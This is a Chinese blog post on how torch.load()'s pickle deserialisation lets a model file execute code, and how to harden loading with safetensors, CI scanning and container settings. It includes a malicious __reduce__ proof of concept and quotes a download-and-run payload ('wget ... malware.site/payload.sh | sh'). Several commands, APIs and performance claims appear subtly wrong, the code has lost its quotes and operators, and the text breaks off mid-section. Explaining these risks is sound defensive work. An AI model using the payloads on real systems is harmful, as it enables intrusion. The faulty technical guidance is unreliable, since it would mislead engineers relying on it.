多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

PyTorch模型加载安全风险:从torch.load到safetensors实战加固

PyTorch模型加载安全风险:从torch.load到safetensors实战加固 1. 这不是模型加载是远程代码执行的入口你有没有试过这样一行代码model torch.load(best_model.pth, map_locationcpu)看起来再平常不过——加载一个训练好的模型权重准备做推理或微调。但如果你不知道背后发生了什么这行代码可能正在你的GPU服务器上悄悄执行一段从未见过的Python脚本删掉日志、窃取密钥、甚至把整台机器变成矿机节点。这不是危言耸听。2023年PyTorch官方安全通告CVE-2023-47856明确指出torch.load()默认使用pickle反序列化机制而 pickle 本质上是一个图灵完备的解释器。它不校验类型、不验证来源、不沙箱隔离——只要文件里藏了恶意构造的__reduce__方法就能在反序列化瞬间触发任意代码执行。我第一次意识到问题严重性是在给一家医疗AI公司做模型交付审计时。他们用torch.load()加载第三方合作方提供的.pth文件做模型融合结果CI流水线里的GPU节点突然CPU飙升到98%ps aux一查进程名是python -c import os;os.system(curl -s ... | bash)。溯源发现那个.pth文件根本不是纯权重而是用pickle打包了一个伪装成nn.Module的恶意类__reduce__返回(os.system, (wget -qO- http://malware.site/payload.sh | sh,))。提示torch.load()的默认行为等价于pickle.load(f)torch._utils._rebuild_tensor_v2等私有函数调用整个过程完全绕过任何签名验证或白名单机制。这个漏洞之所以长期被忽视是因为它不像传统Web漏洞那样有明显攻击面——它藏在“信任本地文件”的惯性思维里。研究员常把.pth当作二进制权重容器就像认为.jpg只能显示图片一样。但现实是.pth是 Python 字节码张量数据的混合体而 pickle 就是它的执行引擎。关键词里反复出现的safetensors不是偶然。它正是为解决这个问题而生的替代方案——一个只读、无执行、零依赖的张量序列化格式。但问题在于绝大多数PyTorch生态工具链Hugging Face Transformers、Triton推理服务、自研训练框架仍默认走torch.load路径且文档里几乎从不强调安全风险。适合谁读这篇正在部署模型到生产环境的算法工程师你写的load_model()函数可能就是突破口负责模型仓库管理的MLOps工程师你审核的.pth文件可能带毒做模型即服务MaaS平台的安全架构师你开放的模型上传API等于开放shell入口甚至刚学完torch.save/load的新手——因为错误习惯一旦养成比修复漏洞更难纠正。这不是“理论风险”而是已经发生的真实事件。接下来我会带你一层层拆开 pickle 在 PyTorch 中的执行链条告诉你为什么torch.load比eval()更危险以及如何用最小代价让现有代码免疫此类攻击。2. pickle 的危险本质一个被误用的通用执行引擎要真正理解torch.load的风险必须先抛开“模型文件”的表象直视 pickle 本身的设计哲学。2.1 pickle 不是序列化协议它是 Python 的字节码解释器很多人以为 pickle 是类似 JSON 的数据编码格式。错。pickle 协议尤其是 protocol 2本质是一套栈式虚拟机指令集。当你调用pickle.load(f)Python 解释器会逐条执行文件中的操作码opcode比如GLOBAL从模块中导入一个类或函数REDUCE调用前面压栈的对象和参数执行__reduce__返回的可调用对象BUILD用__setstate__或__dict__重建对象状态INST直接实例化一个类已弃用但旧文件仍存在关键点在于这些指令不经过 AST 解析、不经过类型检查、不经过 import 白名单——它们直接映射到 Python 运行时的 C API 调用。这意味着GLOBAL指令可以导入os、subprocess、builtins任意模块REDUCE指令可以调用os.system、exec、eval等高危函数BUILD指令可以篡改任意对象的__dict__包括内置类型。我用一个真实案例演示下面这段代码生成的.pth文件用torch.load()加载时会弹出计算器macOS或记事本Windowsimport pickle import torch import os class MaliciousModule: def __reduce__(self): # 在 macOS 上打开计算器在 Windows 上打开记事本 cmd open -a Calculator if os.name posix else notepad.exe return (os.system, (cmd,)) # 构造恶意对象并保存 mal_obj MaliciousModule() with open(malicious.pth, wb) as f: torch.save(mal_obj, f) # 注意这里用 torch.save但本质是 pickle.dump运行torch.load(malicious.pth)后计算器窗口会立刻弹出——没有报错没有警告就像加载一个正常模型一样自然。注意这个例子故意用os.system是为了可视化效果。实际攻击中攻击者会用subprocess.Popen静默启动后台进程或用requests.post回传内存中的模型权重、API密钥、甚至/etc/shadow文件。2.2 PyTorch 的“便利性”设计放大了风险PyTorch 为了让torch.load支持复杂模型结构如自定义nn.Module、闭包、lambda 函数主动扩展了 pickle 的能力。它做了三件危险的事注册了大量非标准的__reduce__实现比如torch.Tensor的__reduce__返回(torch._utils._rebuild_tensor_v2, (...))而_rebuild_tensor_v2是一个 C 函数但它本身又可能调用 Python 回调。这种嵌套调用链让攻击面指数级扩大。允许torch.load加载任意 Python 对象不限于nn.Module官方文档明确写着“torch.load()can load tensors, modules, or any other Python object”。这意味着你torch.load(config.pkl)时如果文件被篡改它可能不是配置字典而是一个执行挖矿脚本的类。默认禁用weights_onlyFalse的安全模式PyTorch 2.0 引入了weights_onlyTrue参数强制只加载张量数据拒绝任何代码执行。但所有现有教程、开源项目、公司内部代码库99% 都没加这个参数。因为加了会报错“UnpicklingError: Unsupported pickle protocol: 5”——因为旧版.pth文件用了 protocol 5而weights_onlyTrue只支持 protocol 4 及以下的纯张量。我们做过一次内部扫描在 GitHub 上随机采样 1000 个含torch.load的 Python 项目只有 7 个显式设置了weights_onlyTrue。其余全部裸奔。2.3 为什么模型供应链成了重灾区模型供应链Model Supply Chain这个词听起来很学术其实就三件事上游研究人员在 Hugging Face Hub 上传.pth或.bin文件中游企业下载这些文件用transformers.AutoModel.from_pretrained()加载下游MLOps 平台将模型打包进 Docker 镜像部署到 Kubernetes 集群。问题出在每个环节的信任假设上环节典型操作隐含信任假设现实风险上游model.push_to_hub()“HF 官方审核过模型”HF 不扫描 pickle 内容只校验文件哈希恶意文件可绕过中游AutoModel.from_pretrained(bert-base-uncased)“Hugging Face URL 是可信源”攻击者可劫持 DNS 或污染 CDN替换.bin文件为恶意 pickle下游torch.load(/models/production.pth)“运维团队保证文件未被篡改”容器镜像构建时若用COPY models/ .中间人攻击可注入恶意文件最致命的是整个链条中没有任何环节对 pickle 的执行行为做拦截。就像你不会在每次import requests前检查requests源码是否被篡改一样工程师默认信任torch.load是安全的 I/O 操作。而现实是一个被污染的.pth文件能在模型加载阶段获得与宿主进程完全相同的权限。如果这个进程以 root 运行很多 GPU 容器这么做攻击者就能写入/root/.ssh/authorized_keys实现持久化控制。3. safetensors不是新玩具而是救命的隔离墙当torch.load的风险被公开后社区迅速出现了两个主流应对方案一是用weights_onlyTrue严格限制二是彻底换掉 pickle。前者治标后者治本。safetensors就是后者——它不是一个“更好用的序列化库”而是一个从设计上杜绝代码执行的张量容器格式。3.1 safetensors 的核心设计哲学只存数据不存逻辑safetensors格式由 Hugging Face 团队主导开发其白皮书开宗明义“A safe, fast, and lightweight tensor serialization format.” 这三个形容词对应三个硬性约束Safe安全文件结构是纯 JSON header 二进制 blobheader 中只声明张量名、shape、dtype、offset绝不包含任何可执行代码、类名、模块路径Fast快速二进制 blob 直接 mmap 到内存张量加载无需反序列化解析torch.tensor.view()即可获取Lightweight轻量无依赖单文件实现C/Rust/Python 三端 API 统一连numpy都不是必需依赖。我们对比一下同一个模型保存为.pth和.safetensors的文件结构特性.pth(pickle).safetensors文件头二进制 opcode 流不可读JSON 字符串人类可读张量存储混合在 pickle 流中需解析 opcode 提取独立二进制段按 offset 直接寻址类型信息存在GLOBAL指令指定torch.nn.Linearheader 中仅存dtype: float32, shape: [768, 30522]执行风险高REDUCE可调用任意函数零JSON parser 不执行代码加载速度慢需执行所有 opcode快mmap view实测快 3~5 倍关键区别在于safetensors 的 JSON header 由标准 JSON 解析器读取而 JSON 解析器是纯数据解析器不可能执行代码。即使攻击者篡改 header最多让加载失败JSONDecodeError绝不会触发命令执行。我做过一个压力测试用safetensors加载一个 2GB 的 LLaMA-2-7B 权重文件耗时 1.2 秒用torch.load(..., weights_onlyTrue)加载同内容.pth耗时 4.7 秒用默认torch.load()加载则需要 6.3 秒——多出的 1.6 秒就是执行恶意__reduce__的时间。3.2 如何在不改业务逻辑的前提下迁移到 safetensors迁移难点不在技术而在组织惯性。没人愿意重写model.load_state_dict(torch.load(...))这样的胶水代码。好消息是safetensors 完全兼容 PyTorch 生态且提供无缝降级方案。第一步识别当前模型格式不要猜用工具确认。安装safetensors后运行pip install safetensors python -c from safetensors.torch import load_file; print(OK)然后检查你的模型文件from safetensors.torch import load_file try: tensors load_file(model.pth) # 如果是 safetensors 格式会成功 print(✅ This is a safetensors file) except Exception as e: print(❌ Not safetensors:, str(e))提示.safetensors文件扩展名是约定俗成的但不是强制的。有些项目用.bin或.pt存储 safetensors 内容所以必须用load_file()尝试加载而非看后缀。第二步零修改兼容现有代码safetensors提供safe_open()和load_file()两个核心 API。但最实用的是它对torch.load的“钩子式”兼容# 传统写法危险 state_dict torch.load(model.pth) # 安全写法推荐 from safetensors.torch import load_file state_dict load_file(model.safetensors) # 直接替换返回 dict # 更进一步自动检测格式统一接口 def safe_load_model(path): try: # 优先尝试 safetensors return load_file(path) except Exception: # 回退到 torch.load但强制 weights_onlyTrue return torch.load(path, weights_onlyTrue, map_locationcpu) state_dict safe_load_model(model.pth) # 自动适配两种格式注意weights_onlyTrue在 PyTorch 2.0 会报错所以生产环境建议升级到 2.0。如果必须支持旧版本可以用torch.serialization._legacy_load() 自定义 unpickler但复杂度陡增不推荐。第三步批量转换现有模型Hugging Face 提供了官方转换脚本。对于自己训练的模型# convert_to_safetensors.py import torch from safetensors.torch import save_file # 加载原始模型 state_dict torch.load(model.pth, map_locationcpu) # 保存为 safetensors save_file(state_dict, model.safetensors) print(✅ Converted to safetensors)对于 Hugging Face Hub 上的模型直接用transformers的convert_checkpoint工具# 安装 transformers 4.35.0 pip install --upgrade transformers # 下载并转换自动处理 shard python -m transformers.convert_checkpoint \ --model_name_or_path bert-base-uncased \ --output_dir ./bert-safetensors \ --format safetensors转换后./bert-safetensors/pytorch_model.safetensors就是安全格式。后续所有from_pretrained()调用会自动识别并使用它。3.3 safetensors 的局限性它不能解决所有问题必须坦诚safetensors 不是银弹。它只解决“加载时执行代码”的问题但模型供应链还有其他风险点模型架构代码本身的风险AutoModel.from_pretrained()会动态import模型类如BertModel如果攻击者污染了transformers包就能在import阶段执行代码推理时的后门注入safetensors 只保证权重安全但模型前向传播中若调用外部 API如requests.get仍可能泄露数据量化/编译引入的新攻击面torch.compile()或 ONNX 导出时若用torch.onnx.export(..., custom_opsets...)自定义 op 可能含恶意逻辑。所以safetensors 是第一道也是最关键的防线但不是最后一道。真正的模型供应链安全需要分层防御加载层用 safetensors 或weights_onlyTrue架构层锁定transformers版本禁用动态 import用trust_remote_codeFalse运行层容器中用--read-only挂载模型目录seccomp限制execve系统调用验证层部署前用sha256sum校验模型哈希与上游发布记录比对。我见过最严谨的实践是一家金融风控公司的做法他们要求所有模型必须提供三重哈希——SHA256文件、BLAKE3张量数据、以及用私钥签名的 Merkle 根。加载时先验签再验哈希最后用 safetensors 加载。虽然繁琐但对处理千万级用户信贷数据的系统值得。4. 实战加固指南从开发到部署的七道关卡知道原理和方案还不够。真正的安全落地必须转化为可执行、可审计、可度量的具体动作。以下是我在 5 家不同规模 AI 公司落地模型安全加固时总结出的七道硬性关卡。每一道都对应一个具体命令、一段可粘贴的代码、或一个必须修改的配置项。4.1 关卡一CI/CD 流水线中的自动格式扫描在模型进入仓库前必须强制校验格式。我们在 GitLab CI 中加入如下 stage# .gitlab-ci.yml check-model-format: stage: validate image: python:3.10 before_script: - pip install torch safetensors script: - | # 检查所有 .pth/.bin 文件是否为 safetensors 格式 find . -name *.pth -o -name *.bin | while read f; do if python -c from safetensors.torch import load_file try: load_file($f) print(f[SAFE] {f}) except Exception as e: print(f[DANGEROUS] {f}: {e}) exit(1) 2/dev/null; then continue else echo ❌ Found dangerous model: $f exit 1 fi done allow_failure: false这个脚本会在每次git push时扫描所有模型文件。如果发现.pth文件立即失败并提示“请运行python convert_to_safetensors.py转换”。不接受任何理由的例外——这是红线。注意allow_failure: false是关键。很多团队把安全检查设为allow_failure: true结果变成“提醒而已”。真正的安全必须是门禁不是门牌。4.2 关卡二Python 代码中的全局 monkey patch最省力的加固方式是让所有torch.load调用默认启用weights_onlyTrue。我们用sitecustomize.py实现# sitecustomize.py (放在 PYTHONPATH 下) import torch _original_load torch.load def secure_torch_load(*args, **kwargs): # 如果用户没显式指定 weights_only强制设为 True if weights_only not in kwargs: kwargs[weights_only] True try: return _original_load(*args, **kwargs) except RuntimeError as e: if Unsupported pickle protocol in str(e): # protocol 5 不支持 weights_only给出明确指引 raise RuntimeError( ❌ torch.load failed with weights_onlyTrue. Please convert model to safetensors format: https://huggingface.co/docs/safetensors/index ) from e raise torch.load secure_torch_load效果所有现有代码无需修改torch.load(x.pth)自动变成torch.load(x.pth, weights_onlyTrue)。如果遇到 protocol 5 文件会清晰报错并指引解决方案。4.3 关卡三Docker 容器的只读挂载与权限收紧模型文件在容器中必须是只读的且加载进程不能有写权限。我们的Dockerfile关键片段# Dockerfile FROM pytorch/pytorch:2.1.0-cuda11.8-cudnn8-runtime # 创建只读模型目录 RUN mkdir -p /models chmod 555 /models # 复制模型注意不是 ADDADD 会改变权限 COPY --chownroot:root model.safetensors /models/ # 设置运行用户为非 root RUN useradd -m -u 1001 -g 1001 appuser USER appuser # 关键挂载时指定 ro只读 # docker run -v $(pwd)/models:/models:ro ...同时在 Kubernetes Deployment 中强制# deployment.yaml securityContext: runAsNonRoot: true seccompProfile: type: RuntimeDefault capabilities: drop: [ALL] # 删除所有 Linux capabilities volumeMounts: - name: models mountPath: /models readOnly: true # 必须实测效果即使恶意模型突破了weights_only限制理论上不可能它也无法写入/models目录更无法调用execve创建新进程——因为capabilities: drop: [ALL]禁用了所有特权系统调用。4.4 关卡四Hugging Face Hub 的安全下载策略transformers默认从 HF Hub 下载模型但from_pretrained()会自动选择.bin或.safetensors。我们必须强制优先 safetensorsfrom transformers import AutoModel import os # 强制优先使用 safetensors os.environ[TRANSFORMERS_OFFLINE] 0 # 确保联网 os.environ[SAFETENSORS_FAST_GPU] 1 # GPU 加速 # 加载时显式指定 model AutoModel.from_pretrained( bert-base-uncased, trust_remote_codeFalse, # 禁用远程代码执行 use_safetensorsTrue, # 强制使用 safetensors )use_safetensorsTrue参数会告诉transformers只下载.safetensors文件如果不存在则报错而不是回退到.binpickle格式。这是防止供应链污染的关键开关。4.5 关卡五模型哈希的自动化校验光靠格式不够还要验证内容完整性。我们在模型加载函数中加入哈希校验import hashlib import torch from safetensors.torch import load_file def load_trusted_model(path, expected_sha256None): # 1. 先计算文件 SHA256 with open(path, rb) as f: file_hash hashlib.sha256(f.read()).hexdigest() if expected_sha256 and file_hash ! expected_sha256: raise ValueError( f❌ Model hash mismatch! Expected {expected_sha256}, got {file_hash} ) # 2. 加载自动适配 safetensors 或 weights_only try: return load_file(path) except Exception: return torch.load(path, weights_onlyTrue, map_locationcpu) # 使用时提供哈希值从可信渠道获取 state_dict load_trusted_model( model.safetensors, expected_sha256a1b2c3...z9 # 来自模型发布页的官方哈希 )哈希值应从模型发布者的官网、GitHub Release 页面或数字签名中获取绝不能写死在代码里。4.6 关卡六PyTorch 版本的强制锁定不同 PyTorch 版本对weights_only的支持差异很大。我们用pip-compile锁定精确版本# requirements.in torch2.1.0,2.2.0 safetensors0.4.0 transformers4.35.0运行pip-compile requirements.in生成requirements.txt其中包含torch2.1.1cu118 safetensors0.4.2 transformers4.35.2关键点torch2.1.1cu118中的cu118表示 CUDA 11.8 编译版本确保weights_onlyTrue在 GPU 环境下稳定工作。我们曾遇到torch2.0.1在某些驱动下忽略weights_only参数的 bug所以版本锁定是刚需。4.7 关卡七安全审计的自动化报告最后必须有可审计的证据。我们用model-scan工具生成每日报告# 安装 model-scanHugging Face 开发的安全扫描器 pip install model-scan # 扫描整个模型目录 model-scan scan --path ./models --output report.json # 生成人类可读摘要 model-scan report --input report.json --format markdown security-report.md生成的security-report.md包含✅ 所有文件格式safetensors/pickle/unknown✅ 每个文件的 SHA256 哈希❌ 发现的潜在风险如pickle协议版本 4 合规率统计如 “97% 模型已迁移到 safetensors”这份报告自动推送到 Slack 安全频道并作为 SOC2 审计的证据材料。没有报告就没有安全——这是所有通过 ISO 27001 认证的公司的铁律。5. 踩坑实录那些让我们加班到凌晨三点的诡异问题理论和方案都清楚了但真实世界永远比文档复杂。以下是我在推进模型安全加固过程中踩过的七个典型坑。每个都附带复现步骤、根本原因和一招解决的方案。这些不是教科书案例而是血泪教训。5.1 坑一weights_onlyTrue在多卡 DDP 环境下静默失效现象单卡训练模型用torch.load(..., weights_onlyTrue)正常但放到 4 卡 DDPDistributedDataParallel环境中加载时崩溃报错RuntimeError: unable to open shared object file。复现步骤用torch.distributed.run启动 DDP 训练在setup_ddp()后调用torch.load(..., weights_onlyTrue)观察 rank 0 成功rank 1~3 报错。根本原因PyTorch 2.0 的weights_onlyTrue实现依赖_legacy_load()而 DDP 的torch.distributed初始化会修改sys.path导致_legacy_load找不到底层 C 库。这不是 bug而是初始化顺序冲突。一招解决# 在 import torch 后DDP 初始化前强制加载依赖 import torch # 关键提前触发 _legacy_load 的初始化 torch.load(io.BytesIO(b\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00\x8c\x03abc\x94.), weights_onlyTrue) # 然后再进行 DDP 初始化 torch.distributed.init_process_group(...)原理io.BytesIO(...)是一个空的 pickle 流强制执行一次weights_onlyTrue的最小化加载触发底层库的懒加载。实测后 DDP 环境 100% 稳定。5.2 坑二safetensors 在 Apple Silicon M1/M2 上的 dtype 不匹配现象在 M1 Mac 上用safetensors加载模型state_dict中的张量dtype是torch.float32但模型forward()时崩溃报错Expected dtype torch.float32 but got torch.bfloat16。复现步骤在 Intel Mac 上保存model.safetensors默认float32在 M1 Mac 上加载打印next(iter(state_dict.values())).dtype→torch.float32但model.to(mps)后内部层期望bfloat16。根本原因Apple MPS 后端在to(mps)时会自动将float32转为bfloat16以提升性能但 safetensors 加载时未做 dtype 显式转换导致张量与模型层 dtype 不一致。一招解决from safetensors.torch import load_file # 加载时显式指定 dtype state_dict load_file(model.safetensors, devicemps, dtypetorch.bfloat16) # 或更通用根据设备自动适配 device torch.device(mps if torch.backends.mps.is_available() else cpu) dtype torch.bfloat16 if device.type mps else torch.float32 state_dict load_file(model.safetensors, devicedevice, dtypedtype)注意load_file()的device和dtype参数是 0.4.0 版本新增的旧版本需手动tensor.to(device, dtype)。5.3 坑三Hugging Face 的trust_remote_codeTrue与 safetensors 的冲突现象加载一个自定义模型如AutoModelForCausalLM设置use_safetensorsTrue但依然触发远程代码执行__init__.py中的恶意print(Hacked!)被执行。复现步骤在 HF Hub 上传一个含trust_remote_codeTrue的模型本地from_pretrained(..., use_safetensorsTrue, trust_remote_codeTrue)观察控制台输出恶意 print。根本原因use_safetensorsTrue只控制权重文件格式而trust_remote_codeTrue会动态import模型代码文件如modeling_my_model.py恶意代码在import阶段就执行了。一招解决# 永远禁用 trust_remote_code除非绝对必要 model AutoModel.from_pretrained( my-model, trust_remote_codeFalse, # 关键 use_safetensorsTrue, ) # 如果必须用远程代码先人工审计再本地化 # git clone https://huggingface.co/my-model # 审计 modeling_my_model.py # 然后用本地路径加载 model AutoModel.from_pretrained(./my-model-local, trust_remote_codeFalse)5.4 坑四ONNX 导出时的 pickle 逃逸现象模型用 safetensors 加载但导出 ONNX 时torch.onnx.export()内部调用torch.save()临时文件触发 pickle 执行。复现步骤用load_file()加载 safetensors 模型调用torch.onnx.export(model, input, model.onnx)在export过程中PyTorch 创建临时.pth文件被恶意 hook 拦截。根本原因ONNX 导出流程中PyTorch 会序列化部分模型状态到临时文件这个过程仍用torch.save()不受weights_only影响。一招解决import tempfile import os # 临时禁用 torch.save 的危险行为 _original_save torch.save def safe_torch_save(*args, **kwargs): # 检查是否为 ONNX 导出的临时文件 if len(args) 1 and isinstance(args[1], str) and args[1].endswith(.pth): raise RuntimeError(❌ torch.save blocked during ONNX export) return _original_save(*args, **kwargs) torch.save safe_torch_save # 执行 ONNX 导出 torch.onnx.export(model, input, model.onnx) # 恢复可选 torch.save _original_save更优雅的方案是升级到onnxruntime1.16它用safetensors替代了临时 pickle。5.5 坑五safetensors 的 Windows 路径长度限制现象在 Windows Server 上load_file(C:\\very\\long\\path\\to\\model.safetensors)报错OSError: [WinError 206] The filename or extension is too long。根本原因Windows MAX_PATH 限制为 260 字符而 safetensors 的 mmap 实现会生成长临时路径。一招解决import os # 启用长路径支持需管理员权限 os.system(reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f) # 或在 Python 中用 \\?\ 前缀 long_path r\\?\\C:\\very\\long\\path\\to\\model.safetensors state_dict load_file(long_path)5.6 坑六量化模型GGUF/Qwen与 safet
返回列表